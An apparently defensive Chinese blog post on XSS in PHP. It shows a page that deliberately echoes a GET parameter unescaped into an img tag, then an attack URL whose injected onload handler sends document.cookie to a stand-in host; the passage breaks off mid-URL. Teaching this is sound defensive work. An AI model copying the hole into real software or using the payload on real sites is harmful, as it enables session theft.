PHP XSS攻击防范--如何过滤用户输入

最新推荐文章于 2024-04-24 05:00:00 发布

loophome

最新推荐文章于 2024-04-24 05:00:00 发布

阅读量4.9k

点赞数 1

分类专栏： PHP 运维经验文章标签： php xss

本文链接：https://blog.csdn.net/loophome/article/details/53896012

版权

一、什么是XSS攻击

XSS攻击是指恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。

来看一个简单的例子：

<?php
$slogan_type = isset($_GET['slogan_type']) ? $_GET['slogan_type'] : 'default';
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>37游戏，玩心创造世界_37网页游戏平台</title>
<meta name="keywords" content="37游戏,三七玩,网页游戏平台,37.com,网页游戏" />
</head>

<body>
    <div><img src="http://img1.37wanimg.com/slogan/<?php echo $slogan_type; ?>.png"/> </div>
</body>

</html>

当攻击者A伪造网页的url：http://demo.37.com/test.php?slogan_type=%22%20οnlοad=%22javascript:this.scr=%27http://127.0.0.1/test.php?c=%27%20+%20document.cookie%22%